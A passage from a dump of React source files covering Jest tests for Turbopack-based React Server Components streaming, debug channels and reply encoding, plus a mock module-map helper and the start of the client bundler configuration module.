    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @emails react-core\n * @jest-environment ./scripts/jest/ReactDOMServerIntegrationEnvironment\n */\n\n'use strict';\n\nlet clientExports;\nlet turbopackMap;\nlet turbopackModules;\nlet React;\nlet ReactServer;\nlet ReactDOMServer;\nlet ReactServerDOMServer;\nlet ReactServerDOMClient;\nlet use;\nlet serverAct;\n\ndescribe('ReactFlightTurbopackDOMEdge', () => {\n  beforeEach(() => {\n    jest.resetModules();\n\n    serverAct = require('internal-test-utils').serverAct;\n\n    // Simulate the condition resolution\n    jest.mock('react', () => require('react/react.react-server'));\n    jest.mock('react-server-dom-turbopack/server', () =>\n      require('react-server-dom-turbopack/server.edge'),\n    );\n\n    const TurbopackMock = require('./utils/TurbopackMock');\n    clientExports = TurbopackMock.clientExports;\n    turbopackMap = TurbopackMock.turbopackMap;\n    turbopackModules = TurbopackMock.turbopackModules;\n\n    ReactServer = require('react');\n    ReactServerDOMServer = require('react-server-dom-turbopack/server.edge');\n\n    jest.resetModules();\n    __unmockReact();\n\n    React = require('react');\n    ReactDOMServer = require('react-dom/server.edge');\n    ReactServerDOMClient = require('react-server-dom-turbopack/client.edge');\n    use = React.use;\n  });\n\n  async function readResult(stream) {\n    const reader = stream.getReader();\n    let result = '';\n    while (true) {\n      const {done, value} = await reader.read();\n      if (done) {\n        return result;\n      }\n      result += Buffer.from(value).toString('utf8');\n    }\n  }\n\n  function normalizeCodeLocInfo(str) {\n    return (\n      str &&\n      str.replace(/^ +(?:at|in) ([\\S]+)[^\\n]*/gm, function (m, name) {\n        return '    in ' + name + (/\\d/.test(m) ? ' (at **)' : '');\n      })\n    );\n  }\n\n  function createDelayedStream(\n    stream: ReadableStream<Uint8Array>,\n  ): ReadableStream<Uint8Array> {\n    return new ReadableStream({\n      async start(controller) {\n        const reader = stream.getReader();\n        while (true) {\n          const {done, value} = await reader.read();\n          if (done) {\n            controller.close();\n          } else {\n            // Artificially delay between enqueuing chunks.\n            await new Promise(resolve => setTimeout(resolve));\n            controller.enqueue(value);\n          }\n        }\n      },\n    });\n  }\n\n  it('should allow an alternative module mapping to be used for SSR', async () => {\n    function ClientComponent() {\n      return <span>Client Component</span>;\n    }\n    // The Client build may not have the same IDs as the Server bundles for the same\n    // component.\n    const ClientComponentOnTheClient = clientExports(ClientComponent);\n    const ClientComponentOnTheServer = clientExports(ClientComponent);\n\n    // In the SSR bundle this module won't exist. We simulate this by deleting it.\n    const clientId = turbopackMap[ClientComponentOnTheClient.$$id].id;\n    delete turbopackModules[clientId];\n\n    // Instead, we have to provide a translation from the client meta data to the SSR\n    // meta data.\n    const ssrMetadata = turbopackMap[ClientComponentOnTheServer.$$id];\n    const translationMap = {\n      [clientId]: {\n        '*': ssrMetadata,\n      },\n    };\n\n    function App() {\n      return <ClientComponentOnTheClient />;\n    }\n\n    const stream = await serverAct(() =>\n      ReactServerDOMServer.renderToReadableStream(<App />, turbopackMap),\n    );\n    const response = ReactServerDOMClient.createFromReadableStream(stream, {\n      serverConsumerManifest: {\n        moduleMap: translationMap,\n        moduleLoading: null,\n      },\n    });\n\n    function ClientRoot() {\n      return use(response);\n    }\n\n    const ssrStream = await serverAct(() =>\n      ReactDOMServer.renderToReadableStream(<ClientRoot />),\n    );\n    const result = await readResult(ssrStream);\n    expect(result).toEqual('<span>Client Component</span>');\n  });\n\n  // @gate __DEV__\n  it('can transport debug info through a separate debug channel', async () => {\n    function Thrower() {\n      throw new Error('ssr-throw');\n    }\n\n    const ClientComponentOnTheClient = clientExports(\n      Thrower,\n      123,\n      'path/to/chunk.js',\n    );\n\n    const ClientComponentOnTheServer = clientExports(Thrower);\n\n    function App() {\n      return ReactServer.createElement(\n        ReactServer.Suspense,\n        null,\n        ReactServer.createElement(ClientComponentOnTheClient, null),\n      );\n    }\n\n    let debugReadableStreamController;\n\n    const debugReadableStream = new ReadableStream({\n      start(controller) {\n        debugReadableStreamController = controller;\n      },\n    });\n\n    const rscStream = await serverAct(() =>\n      ReactServerDOMServer.renderToReadableStream(\n        ReactServer.createElement(App, null),\n        turbopackMap,\n        {\n          debugChannel: {\n            writable: new WritableStream({\n              write(chunk) {\n                debugReadableStreamController.enqueue(chunk);\n              },\n              close() {\n                debugReadableStreamController.close();\n              },\n            }),\n          },\n        },\n      ),\n    );\n\n    function ClientRoot({response}) {\n      return use(response);\n    }\n\n    const serverConsumerManifest = {\n      moduleMap: {\n        [turbopackMap[ClientComponentOnTheClient.$$id].id]: {\n          '*': turbopackMap[ClientComponentOnTheServer.$$id],\n        },\n      },\n      moduleLoading: null,\n    };\n\n    const response = ReactServerDOMClient.createFromReadableStream(\n      // Create a delayed stream to simulate that the RSC stream might be\n      // transported slower than the debug channel, which must not lead to a\n      // `Connection closed` error in the Flight client.\n      createDelayedStream(rscStream),\n      {\n        serverConsumerManifest,\n        debugChannel: {readable: debugReadableStream},\n      },\n    );\n\n    let ownerStack;\n\n    const ssrStream = await serverAct(() =>\n      ReactDOMServer.renderToReadableStream(\n        <ClientRoot response={response} />,\n        {\n          onError(err, errorInfo) {\n            ownerStack = React.captureOwnerStack\n              ? React.captureOwnerStack()\n              : null;\n          },\n        },\n      ),\n    );\n\n    const result = await readResult(ssrStream);\n\n    expect(normalizeCodeLocInfo(ownerStack)).toBe('\\n    in App (at **)');\n\n    expect(result).toContain(\n      'Switched to client rendering because the server rendering errored:\\n\\nssr-throw',\n    );\n  });\n\n  // @gate __DEV__\n  it('can transport debug info through a slow debug channel', async () => {\n    function Thrower() {\n      throw new Error('ssr-throw');\n    }\n\n    const ClientComponentOnTheClient = clientExports(\n      Thrower,\n      123,\n      'path/to/chunk.js',\n    );\n\n    const ClientComponentOnTheServer = clientExports(Thrower);\n\n    function App() {\n      return ReactServer.createElement(\n        ReactServer.Suspense,\n        null,\n        ReactServer.createElement(ClientComponentOnTheClient, null),\n      );\n    }\n\n    let debugReadableStreamController;\n\n    const debugReadableStream = new ReadableStream({\n      start(controller) {\n        debugReadableStreamController = controller;\n      },\n    });\n\n    const rscStream = await serverAct(() =>\n      ReactServerDOMServer.renderToReadableStream(\n        ReactServer.createElement(App, null),\n        turbopackMap,\n        {\n          debugChannel: {\n            writable: new WritableStream({\n              write(chunk) {\n                debugReadableStreamController.enqueue(chunk);\n              },\n              close() {\n                debugReadableStreamController.close();\n              },\n            }),\n          },\n        },\n      ),\n    );\n\n    function ClientRoot({response}) {\n      return use(response);\n    }\n\n    const serverConsumerManifest = {\n      moduleMap: {\n        [turbopackMap[ClientComponentOnTheClient.$$id].id]: {\n          '*': turbopackMap[ClientComponentOnTheServer.$$id],\n        },\n      },\n      moduleLoading: null,\n    };\n\n    const response = ReactServerDOMClient.createFromReadableStream(rscStream, {\n      serverConsumerManifest,\n      debugChannel: {\n        readable:\n          // Create a delayed stream to simulate that the debug stream might\n          // be transported slower than the RSC stream, which must not lead to\n          // missing debug info.\n          createDelayedStream(debugReadableStream),\n      },\n    });\n\n    let ownerStack;\n\n    const ssrStream = await serverAct(() =>\n      ReactDOMServer.renderToReadableStream(\n        <ClientRoot response={response} />,\n        {\n          onError(err, errorInfo) {\n            ownerStack = React.captureOwnerStack\n              ? React.captureOwnerStack()\n              : null;\n          },\n        },\n      ),\n    );\n\n    const result = await readResult(ssrStream);\n\n    expect(normalizeCodeLocInfo(ownerStack)).toBe('\\n    in App (at **)');\n\n    expect(result).toContain(\n      'Switched to client rendering because the server rendering errored:\\n\\nssr-throw',\n    );\n  });\n});\n"
  },
  {
    "path": "packages/react-server-dom-turbopack/src/__tests__/ReactFlightTurbopackDOMNode-test.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @emails react-core\n */\n\n'use strict';\n\nimport {patchSetImmediate} from '../../../../scripts/jest/patchSetImmediate';\n\nlet clientExports;\nlet turbopackMap;\nlet turbopackModules;\nlet turbopackModuleLoading;\nlet React;\nlet ReactDOMServer;\nlet ReactServer;\nlet ReactServerDOMServer;\nlet ReactServerDOMClient;\nlet Stream;\nlet use;\nlet serverAct;\n\nconst streamOptions = {\n  objectMode: true,\n};\n\ndescribe('ReactFlightTurbopackDOMNode', () => {\n  beforeEach(() => {\n    jest.resetModules();\n\n    patchSetImmediate();\n    serverAct = require('internal-test-utils').serverAct;\n\n    // Simulate the condition resolution\n    jest.mock('react', () => require('react/react.react-server'));\n    jest.mock('react-server-dom-turbopack/server', () =>\n      require('react-server-dom-turbopack/server.node'),\n    );\n    ReactServer = require('react');\n    ReactServerDOMServer = require('react-server-dom-turbopack/server');\n\n    const TurbopackMock = require('./utils/TurbopackMock');\n    clientExports = TurbopackMock.clientExports;\n    turbopackMap = TurbopackMock.turbopackMap;\n    turbopackModules = TurbopackMock.turbopackModules;\n    turbopackModuleLoading = TurbopackMock.moduleLoading;\n\n    jest.resetModules();\n    __unmockReact();\n    jest.unmock('react-server-dom-turbopack/server');\n    jest.mock('react-server-dom-turbopack/client', () =>\n      require('react-server-dom-turbopack/client.node'),\n    );\n\n    React = require('react');\n    ReactDOMServer = require('react-dom/server.node');\n    ReactServerDOMClient = require('react-server-dom-turbopack/client');\n    Stream = require('stream');\n    use = React.use;\n  });\n\n  function readResult(stream) {\n    return new Promise((resolve, reject) => {\n      let buffer = '';\n      const writable = new Stream.PassThrough();\n      writable.setEncoding('utf8');\n      writable.on('data', chunk => {\n        buffer += chunk;\n      });\n      writable.on('error', error => {\n        reject(error);\n      });\n      writable.on('end', () => {\n        resolve(buffer);\n      });\n      stream.pipe(writable);\n    });\n  }\n\n  function normalizeCodeLocInfo(str) {\n    return (\n      str &&\n      str.replace(/^ +(?:at|in) ([\\S]+)[^\\n]*/gm, function (m, name) {\n        return '    in ' + name + (/\\d/.test(m) ? ' (at **)' : '');\n      })\n    );\n  }\n\n  function createDelayedStream() {\n    let resolveDelayedStream;\n    const promise = new Promise(resolve => (resolveDelayedStream = resolve));\n    const delayedStream = new Stream.Transform({\n      ...streamOptions,\n      transform(chunk, encoding, callback) {\n        // Artificially delay pushing the chunk.\n        promise.then(() => {\n          this.push(chunk);\n          callback();\n        });\n      },\n    });\n    return {delayedStream, resolveDelayedStream};\n  }\n\n  it('should allow an alternative module mapping to be used for SSR', async () => {\n    function ClientComponent() {\n      return <span>Client Component</span>;\n    }\n    // The Client build may not have the same IDs as the Server bundles for the same\n    // component.\n    const ClientComponentOnTheClient = clientExports(\n      ClientComponent,\n      'path/to/chunk.js',\n    );\n    const ClientComponentOnTheServer = clientExports(ClientComponent);\n\n    // In the SSR bundle this module won't exist. We simulate this by deleting it.\n    const clientId = turbopackMap[ClientComponentOnTheClient.$$id].id;\n    delete turbopackModules[clientId];\n\n    // Instead, we have to provide a translation from the client meta data to the SSR\n    // meta data.\n    const ssrMetadata = turbopackMap[ClientComponentOnTheServer.$$id];\n    const translationMap = {\n      [clientId]: {\n        '*': ssrMetadata,\n      },\n    };\n\n    function App() {\n      return <ClientComponentOnTheClient />;\n    }\n\n    const stream = await serverAct(() =>\n      ReactServerDOMServer.renderToPipeableStream(<App />, turbopackMap),\n    );\n    const readable = new Stream.PassThrough();\n\n    stream.pipe(readable);\n\n    let response;\n    function ClientRoot() {\n      if (!response) {\n        response = ReactServerDOMClient.createFromNodeStream(readable, {\n          moduleMap: translationMap,\n          moduleLoading: turbopackModuleLoading,\n        });\n      }\n      return use(response);\n    }\n\n    const ssrStream = await serverAct(() =>\n      ReactDOMServer.renderToPipeableStream(<ClientRoot />),\n    );\n    const result = await readResult(ssrStream);\n    expect(result).toEqual(\n      '<script src=\"/prefix/path/to/chunk.js\" async=\"\"></script><span>Client Component</span>',\n    );\n  });\n\n  // @gate __DEV__\n  it('can transport debug info through a separate debug channel', async () => {\n    function Thrower() {\n      throw new Error('ssr-throw');\n    }\n\n    const ClientComponentOnTheClient = clientExports(\n      Thrower,\n      123,\n      'path/to/chunk.js',\n    );\n\n    const ClientComponentOnTheServer = clientExports(Thrower);\n\n    function App() {\n      return ReactServer.createElement(\n        ReactServer.Suspense,\n        null,\n        ReactServer.createElement(ClientComponentOnTheClient, null),\n      );\n    }\n\n    const debugReadable = new Stream.PassThrough(streamOptions);\n\n    const rscStream = await serverAct(() =>\n      ReactServerDOMServer.renderToPipeableStream(\n        ReactServer.createElement(App, null),\n        turbopackMap,\n        {\n          debugChannel: new Stream.Writable({\n            write(chunk, encoding, callback) {\n              debugReadable.write(chunk, encoding);\n              callback();\n            },\n            final() {\n              debugReadable.end();\n            },\n          }),\n        },\n      ),\n    );\n\n    // Create a delayed stream to simulate that the RSC stream might be\n    // transported slower than the debug channel, which must not lead to a\n    // `Connection closed` error in the Flight client.\n    const {delayedStream, resolveDelayedStream} = createDelayedStream();\n\n    rscStream.pipe(delayedStream);\n\n    function ClientRoot({response}) {\n      return use(response);\n    }\n\n    const serverConsumerManifest = {\n      moduleMap: {\n        [turbopackMap[ClientComponentOnTheClient.$$id].id]: {\n          '*': turbopackMap[ClientComponentOnTheServer.$$id],\n        },\n      },\n      moduleLoading: null,\n    };\n\n    const response = ReactServerDOMClient.createFromNodeStream(\n      delayedStream,\n      serverConsumerManifest,\n      {debugChannel: debugReadable},\n    );\n\n    setTimeout(resolveDelayedStream);\n\n    let ownerStack;\n\n    const ssrStream = await serverAct(() =>\n      ReactDOMServer.renderToPipeableStream(\n        <ClientRoot response={response} />,\n        {\n          onError(err, errorInfo) {\n            ownerStack = React.captureOwnerStack\n              ? React.captureOwnerStack()\n              : null;\n          },\n        },\n      ),\n    );\n\n    const result = await readResult(ssrStream);\n\n    expect(normalizeCodeLocInfo(ownerStack)).toBe('\\n    in App (at **)');\n\n    expect(result).toContain(\n      'Switched to client rendering because the server rendering errored:\\n\\nssr-throw',\n    );\n  });\n\n  // @gate __DEV__\n  it('can transport debug info through a slow debug channel', async () => {\n    function Thrower() {\n      throw new Error('ssr-throw');\n    }\n\n    const ClientComponentOnTheClient = clientExports(\n      Thrower,\n      123,\n      'path/to/chunk.js',\n    );\n\n    const ClientComponentOnTheServer = clientExports(Thrower);\n\n    function App() {\n      return ReactServer.createElement(\n        ReactServer.Suspense,\n        null,\n        ReactServer.createElement(ClientComponentOnTheClient, null),\n      );\n    }\n\n    // Create a delayed stream to simulate that the debug stream might be\n    // transported slower than the RSC stream, which must not lead to missing\n    // debug info.\n    const {delayedStream, resolveDelayedStream} = createDelayedStream();\n\n    const rscStream = await serverAct(() =>\n      ReactServerDOMServer.renderToPipeableStream(\n        ReactServer.createElement(App, null),\n        turbopackMap,\n        {\n          debugChannel: new Stream.Writable({\n            write(chunk, encoding, callback) {\n              delayedStream.write(chunk, encoding);\n              callback();\n            },\n            final() {\n              delayedStream.end();\n            },\n          }),\n        },\n      ),\n    );\n\n    const readable = new Stream.PassThrough(streamOptions);\n\n    rscStream.pipe(readable);\n\n    function ClientRoot({response}) {\n      return use(response);\n    }\n\n    const serverConsumerManifest = {\n      moduleMap: {\n        [turbopackMap[ClientComponentOnTheClient.$$id].id]: {\n          '*': turbopackMap[ClientComponentOnTheServer.$$id],\n        },\n      },\n      moduleLoading: null,\n    };\n\n    const response = ReactServerDOMClient.createFromNodeStream(\n      readable,\n      serverConsumerManifest,\n      {debugChannel: delayedStream},\n    );\n\n    setTimeout(resolveDelayedStream);\n\n    let ownerStack;\n\n    const ssrStream = await serverAct(() =>\n      ReactDOMServer.renderToPipeableStream(\n        <ClientRoot response={response} />,\n        {\n          onError(err, errorInfo) {\n            ownerStack = React.captureOwnerStack\n              ? React.captureOwnerStack()\n              : null;\n          },\n        },\n      ),\n    );\n\n    const result = await readResult(ssrStream);\n\n    expect(normalizeCodeLocInfo(ownerStack)).toBe('\\n    in App (at **)');\n\n    expect(result).toContain(\n      'Switched to client rendering because the server rendering errored:\\n\\nssr-throw',\n    );\n  });\n});\n"
  },
  {
    "path": "packages/react-server-dom-turbopack/src/__tests__/ReactFlightTurbopackDOMReply-test.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @emails react-core\n */\n\n'use strict';\n\nimport {patchMessageChannel} from '../../../../scripts/jest/patchMessageChannel';\n\n// Polyfills for test environment\nglobal.ReadableStream =\n  require('web-streams-polyfill/ponyfill/es6').ReadableStream;\nglobal.TextEncoder = require('util').TextEncoder;\nglobal.TextDecoder = require('util').TextDecoder;\n\n// let serverExports;\nlet assertConsoleErrorDev;\nlet turbopackServerMap;\nlet ReactServerDOMServer;\nlet ReactServerDOMClient;\nlet ReactServerScheduler;\n\ndescribe('ReactFlightTurbopackDOMReply', () => {\n  beforeEach(() => {\n    jest.resetModules();\n\n    ReactServerScheduler = require('scheduler');\n    patchMessageChannel(ReactServerScheduler);\n\n    // Simulate the condition resolution\n    jest.mock('react', () => require('react/react.react-server'));\n    jest.mock('react-server-dom-turbopack/server', () =>\n      require('react-server-dom-turbopack/server.browser'),\n    );\n    const TurbopackMock = require('./utils/TurbopackMock');\n    // serverExports = TurbopackMock.serverExports;\n    turbopackServerMap = TurbopackMock.turbopackServerMap;\n    ReactServerDOMServer = require('react-server-dom-turbopack/server.browser');\n    jest.resetModules();\n    ReactServerDOMClient = require('react-server-dom-turbopack/client');\n\n    const InternalTestUtils = require('internal-test-utils');\n    assertConsoleErrorDev = InternalTestUtils.assertConsoleErrorDev;\n  });\n\n  it('can encode a reply', async () => {\n    const body = await ReactServerDOMClient.encodeReply({some: 'object'});\n    const decoded = await ReactServerDOMServer.decodeReply(\n      body,\n      turbopackServerMap,\n    );\n\n    expect(decoded).toEqual({some: 'object'});\n  });\n\n  it('warns with a tailored message if eval is not available in dev', async () => {\n    // eslint-disable-next-line no-eval\n    const previousEval = globalThis.eval.bind(globalThis);\n    // eslint-disable-next-line no-eval\n    globalThis.eval = () => {\n      throw new Error('eval is disabled');\n    };\n\n    try {\n      const body = await ReactServerDOMClient.encodeReply({some: 'object'});\n      assertConsoleErrorDev([\n        'eval() is not supported in this environment. ' +\n          'If this page was served with a `Content-Security-Policy` header, ' +\n          'make sure that `unsafe-eval` is included. ' +\n          'React requires eval() in development mode for various debugging features ' +\n          'like reconstructing callstacks from a different environment.\\n' +\n          'React will never use eval() in production mode',\n      ]);\n\n      await ReactServerDOMServer.decodeReply(body, turbopackServerMap);\n\n      assertConsoleErrorDev([]);\n    } finally {\n      // eslint-disable-next-line no-eval\n      globalThis.eval = previousEval;\n    }\n  });\n});\n"
  },
  {
    "path": "packages/react-server-dom-turbopack/src/__tests__/ReactFlightTurbopackDOMReplyEdge-test.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @emails react-core\n * @jest-environment ./scripts/jest/ReactDOMServerIntegrationEnvironment\n */\n\n'use strict';\n\nlet turbopackServerMap;\nlet ReactServerDOMServer;\nlet ReactServerDOMClient;\n\ndescribe('ReactFlightDOMTurbopackReply', () => {\n  beforeEach(() => {\n    jest.resetModules();\n    // Simulate the condition resolution\n    jest.mock('react', () => require('react/react.react-server'));\n    jest.mock('react-server-dom-turbopack/server', () =>\n      require('react-server-dom-turbopack/server.edge'),\n    );\n    const TurbopackMock = require('./utils/TurbopackMock');\n    turbopackServerMap = TurbopackMock.turbopackServerMap;\n    ReactServerDOMServer = require('react-server-dom-turbopack/server.edge');\n    jest.resetModules();\n    ReactServerDOMClient = require('react-server-dom-turbopack/client.edge');\n  });\n\n  it('can encode a reply', async () => {\n    const body = await ReactServerDOMClient.encodeReply({some: 'object'});\n    const decoded = await ReactServerDOMServer.decodeReply(\n      body,\n      turbopackServerMap,\n    );\n\n    expect(decoded).toEqual({some: 'object'});\n  });\n});\n"
  },
  {
    "path": "packages/react-server-dom-turbopack/src/__tests__/utils/TurbopackMock.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\n'use strict';\n\nconst url = require('url');\n\nlet turbopackModuleIdx = 0;\nconst turbopackServerModules = {};\nconst turbopackClientModules = {};\nconst turbopackErroredModules = {};\nconst turbopackServerMap = {};\nconst turbopackClientMap = {};\nglobal.__turbopack_require__ = function (id) {\n  if (turbopackErroredModules[id]) {\n    throw turbopackErroredModules[id];\n  }\n  return turbopackClientModules[id] || turbopackServerModules[id];\n};\n\nconst Server = require('react-server-dom-turbopack/server');\nconst registerClientReference = Server.registerClientReference;\nconst registerServerReference = Server.registerServerReference;\nconst createClientModuleProxy = Server.createClientModuleProxy;\n\nexports.turbopackMap = turbopackClientMap;\nexports.turbopackModules = turbopackClientModules;\nexports.turbopackServerMap = turbopackServerMap;\nexports.moduleLoading = {\n  prefix: '/prefix/',\n};\n\nexports.clientExports = function clientExports(moduleExports, chunkUrl) {\n  const chunks = [];\n  if (chunkUrl !== undefined) {\n    chunks.push(chunkUrl);\n  }\n  const idx = '' + turbopackModuleIdx++;\n  turbopackClientModules[idx] = moduleExports;\n  const path = url.pathToFileURL(idx).href;\n  turbopackClientMap[path] = {\n    id: idx,\n    chunks,\n    name: '*',\n  };\n  // We only add this if this test is testing ESM compat.\n  if ('__esModule' in moduleExports) {\n    turbopackClientMap[path + '#'] = {\n      id: idx,\n      chunks,\n      name: '',\n    };\n  }\n  if (typeof moduleExports.then === 'function') {\n    moduleExports.then(\n      asyncModuleExports => {\n        for (const name in asyncModuleExports) {\n          turbopackClientMap[path + '#' + name] = {\n            id: idx,\n            chunks,\n            name: name,\n          };\n        }\n      },\n      () => {},\n    );\n  }\n  if ('split' in moduleExports) {\n    // If we're testing module splitting, we encode this name in a separate module id.\n    const splitIdx = '' + turbopackModuleIdx++;\n    turbopackClientModules[splitIdx] = {\n      s: moduleExports.split,\n    };\n    turbopackClientMap[path + '#split'] = {\n      id: splitIdx,\n      chunks,\n      name: 's',\n    };\n  }\n  return createClientModuleProxy(path);\n};\n\nexports.clientExportsESM = function clientExportsESM(\n  moduleExports,\n  options?: {forceClientModuleProxy?: boolean} = {},\n) {\n  const chunks = [];\n  const idx = '' + turbopackModuleIdx++;\n  turbopackClientModules[idx] = moduleExports;\n  const path = url.pathToFileURL(idx).href;\n\n  const createClientReferencesForExports = ({exports, async}) => {\n    turbopackClientMap[path] = {\n      id: idx,\n      chunks,\n      name: '*',\n      async: true,\n    };\n\n    if (options.forceClientModuleProxy) {\n      return createClientModuleProxy(path);\n    }\n\n    if (typeof exports === 'object') {\n      const references = {};\n\n      for (const name in exports) {\n        const id = path + '#' + name;\n        turbopackClientMap[path + '#' + name] = {\n          id: idx,\n          chunks,\n          name: name,\n          async,\n        };\n        references[name] = registerClientReference(() => {}, id, name);\n      }\n\n      return references;\n    }\n\n    return registerClientReference(() => {}, path, '*');\n  };\n\n  if (\n    moduleExports &&\n    typeof moduleExports === 'object' &&\n    typeof moduleExports.then === 'function'\n  ) {\n    return moduleExports.then(\n      asyncModuleExports =>\n        createClientReferencesForExports({\n          exports: asyncModuleExports,\n          async: true,\n        }),\n      () => {},\n    );\n  }\n\n  return createClientReferencesForExports({exports: moduleExports});\n};\n\n// This tests server to server references. There's another case of client to server references.\nexports.serverExports = function serverExports(moduleExports) {\n  const idx = '' + turbopackModuleIdx++;\n  turbopackServerModules[idx] = moduleExports;\n  const path = url.pathToFileURL(idx).href;\n  turbopackServerMap[path] = {\n    id: idx,\n    chunks: [],\n    name: '*',\n  };\n  // We only add this if this test is testing ESM compat.\n  if ('__esModule' in moduleExports) {\n    turbopackServerMap[path + '#'] = {\n      id: idx,\n      chunks: [],\n      name: '',\n    };\n  }\n  if ('split' in moduleExports) {\n    // If we're testing module splitting, we encode this name in a separate module id.\n    const splitIdx = '' + turbopackModuleIdx++;\n    turbopackServerModules[splitIdx] = {\n      s: moduleExports.split,\n    };\n    turbopackServerMap[path + '#split'] = {\n      id: splitIdx,\n      chunks: [],\n      name: 's',\n    };\n  }\n\n  if (typeof exports === 'function') {\n    // The module exports a function directly,\n    registerServerReference(\n      (exports: any),\n      idx,\n      // Represents the whole Module object instead of a particular import.\n      null,\n    );\n  } else {\n    const keys = Object.keys(exports);\n    for (let i = 0; i < keys.length; i++) {\n      const key = keys[i];\n      const value = exports[keys[i]];\n      if (typeof value === 'function') {\n        registerServerReference((value: any), idx, key);\n      }\n    }\n  }\n\n  return moduleExports;\n};\n"
  },
  {
    "path": "packages/react-server-dom-turbopack/src/client/ReactFlightClientConfigBundlerTurbopack.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport type {\n  Thenable,\n  FulfilledThenable,\n  RejectedThenable,\n  ReactDebugInfo,\n} from 'shared/ReactTypes';\n\nimport type {\n  ImportMetadata,\n  ImportManifestEntry,\n} from '../shared/ReactFlightImportMetadata';\nimport type {ModuleLoading} from 'react-client/src/ReactFlightClientConfig';\n\nimport {\n  ID,\n  CHUNKS,\n  NAME,\n  isAsyncImport,\n} from '../shared/ReactFlightImportMetadata';\n\nimport {prepareDestinationWithChunks} from 'react-client/src/ReactFlightClientConfig';\n\nimport {\n  loadChunk,\n  addChunkDebugInfo,\n} from 'react-client/src/ReactFlightClientConfig';\n\nimport hasOwnProperty from 'shared/hasOwnProperty';\n\nexport type ServerConsumerModuleMap = null | {\n  [clientId: string]: {\n    [clientExportName: string]: ClientReferenceManifestEntry,\n  },\n};\n\nexport type ServerManifest = {\n  [id: string]: ImportManifestEntry,\n};\n\nexport type ServerReferenceId = string;\n\nexport opaque type ClientReferenceManifestEntry = ImportManifestEntry;\nexport opaque type ClientReferenceMetadata = ImportMetadata;\n\n// eslint-disable-next-line no-unused-vars\nexport opaque type ClientReference<T> = ClientReferenceMetadata;\n\n// The reason this function needs to defined here in this file instead of just\n// being exported directly from the TurbopackDestination... file is because the\n// ClientReferenceMetadata is opaque and we can't unwrap it there.\n// This should get inlined and we could also just implement an unwrapping function\n// though that risks it getting used in places it shouldn't be. This is unfortunate\n// but currently it seems to be the best option we have.\nexport function prepareDestinationForModule(\n  moduleLoading: ModuleLoading,\n  nonce: ?string,\n  metadata: ClientReferenceMetadata,\n) {\n  prepareDestinationWithChunks(moduleLoading, metadata[CHUNKS], nonce);\n}\n\nexport function resolveClientReference<T>(\n  bundlerConfig: ServerConsumerModuleMap,\n  metadata: ClientReferenceMetadata,\n): ClientReference<T> {\n  if (bundlerConfig) {\n    const moduleExports = bundlerConfig[metadata[ID]];\n    let resolvedModuleData = moduleExports && moduleExports[metadata[NAME]];\n    let name;\n    if (resolvedModuleData) {\n      // The potentially aliased name.\n      name = resolvedModuleData.name;\n    } else {\n      // If we don't have this specific name, we might have the full module.\n      resolvedModuleData = moduleExports && moduleExports['*'];\n      if (!resolvedModuleData) {\n        throw new Error(\n          'Could not find the module \"' +\n            metadata[ID] +\n            '\" in the React Server Consumer Manifest. ' +\n            'This is probably a bug in the React Server Components bundler.',\n        );\n      }\n      name = metadata[NAME];\n    }\n    if (isAsyncImport(metadata)) {\n      return [\n        resolvedModuleData.id,\n        resolvedModuleData.chunks,\n        name,\n        1 /* async */,\n      ];\n    } else {\n      return [resolvedModuleData.id, resolvedModuleData.chunks, name];\n    }\n  }\n  return metadata;\n}\n\nexport function resolveServerReference<T>(\n  bundlerConfig: ServerManifest,\n  id: ServerReferenceId,\n): ClientReference<T> {\n  let name = '';\n  let resolvedModuleData = bundlerConfig[id];\n  if (resolvedModuleData) {\n    // The potentially aliased name.\n    name = resolvedModuleData.name;\n  } else {\n    // We didn't find this specific export name but we might have the * export\n    // which contains this name as well.\n    // TODO: It's unfortunate that we now have to parse this string. We should\n    // probably go back to encoding path and name separately on the client reference.\n    const idx = id.lastIndexOf('#');\n    if (idx !== -1) {\n      name = id.slice(idx + 1);\n      resolvedModuleData = bundlerConfig[id.slice(0, idx)];\n    }\n    if (!resolvedModuleData) {\n      throw new Error(\n        'Could not find the module \"' +\n          id +\n          '\" in the React Server Manifest. ' +\n          'This is probably a bug in the React Server Components bundler.',\n      );\n    }\n  }\n  if (resolvedModuleData.async) {\n    // If the module is marked as async in a Client Reference, we don't actually care.\n    // What matters is whether the consumer wants to unwrap it or not.\n    // For Server References, it is different because the consumer is completely internal\n    // to the bundler. So instead of passing it to each reference we can mark it in the\n    // manifest.\n    return [\n      resolvedModuleData.id,\n      resolvedModuleData.chunks,\n      name,\n      1 /* async */,\n    ];\n  }\n  return [resolvedModuleData.id, resolvedModuleData.chunks, name];\n}\n\nfunction requireAsyncModule(id: string): null | Thenable<any> {\n  // We've already loaded all the chunks. We can require the module.\n  const promise = __turbopack_require__(id);\n  if (typeof promise.then !== 'function') {\n    // This wasn't a promise after all.\n    return null;\n  } else if (promise.status === 'fulfilled') {\n    // This module was already resolved earlier.\n    return null;\n  } else {\n    // Instrument the Promise to stash the result.\n    promise.then(\n      value => {\n        const fulfilledThenable: FulfilledThenable<mixed> = (promise: any);\n        fulfilledThenable.status = 'fulfilled';\n        fulfilledThenable.value = value;\n      },\n      reason => {\n        const rejectedThenable: RejectedThenable<mixed> = (promise: any);\n        rejectedThenable.status = 'rejected';\n        rejectedThenable.reason = reason;\n      },\n    );\n    return promise;\n  }\n}\n\n// Turbopack will return cached promises for the same chunk.\n// We still want to keep track of which chunks we have already instrumented\n// and which chunks have already been loaded until Turbopack returns instrumented\n// thenables directly.\nconst instrumentedChunks: WeakSet<Thenable<any>> = new WeakSet();\nconst loadedChunks: WeakSet<Thenable<any>> = new 